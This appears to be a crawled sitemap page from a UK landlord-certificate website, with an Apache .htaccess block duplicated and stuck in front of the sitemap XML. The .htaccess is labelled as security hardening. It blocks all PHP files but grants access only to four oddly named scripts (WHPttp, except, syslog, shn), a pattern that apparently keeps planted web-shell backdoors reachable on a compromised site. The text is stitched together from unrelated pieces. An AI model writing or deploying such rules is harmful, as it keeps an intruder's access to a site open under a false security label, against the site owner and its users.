# Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule># Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule><?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//alllandlordcertificates.co.uk/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://alllandlordcertificates.co.uk/post-sitemap.xml</loc>
		<lastmod>2026-06-15T12:21:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://alllandlordcertificates.co.uk/page-sitemap.xml</loc>
		<lastmod>2026-07-06T12:37:40+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->